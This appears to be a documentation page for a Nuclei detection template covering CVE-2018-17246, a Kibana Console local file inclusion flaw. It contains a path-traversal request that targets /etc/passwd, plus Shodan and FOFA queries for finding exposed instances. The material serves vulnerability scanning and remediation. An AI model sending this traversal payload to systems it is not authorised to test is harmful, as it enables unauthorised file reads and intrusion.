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Kibana - Local File Inclusion

ID: CVE-2018-17246

Severity: critical

Author: princechaddha,thelicato

Tags: cve,cve2018,lfi,kibana,vulhub,elastic

Description

Section titled “Description”

Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

YAML Source

Section titled “YAML Source”
id: CVE-2018-17246


info:
  name: Kibana - Local File Inclusion
  author: princechaddha,thelicato
  severity: critical
  description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further attacks.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
    - https://www.elastic.co/community/security
    - https://discuss.elastic.co/t/elastic-stack-6-4-3-and-5-6-13-security-update/155594
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
    - https://access.redhat.com/errata/RHBA-2018:3743
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17246
    cwe-id: CWE-829,CWE-73
    epss-score: 0.96638
    epss-percentile: 0.99612
    cpe: cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elastic
    product: kibana
    shodan-query: http.title:"kibana"
    fofa-query: title="kibana"
    google-query: intitle:"kibana"
  tags: cve,cve2018,lfi,kibana,vulhub,elastic


http:
  - method: GET
    path:
      - "{{BaseURL}}/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"message\":\"An internal server error occurred\""


      - type: word
        part: header
        words:
          - "kbn-name"
          - "kibana"
        case-insensitive: true
        condition: or


      - type: word
        part: header
        words:
          - "application/json"
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-17246.yaml"

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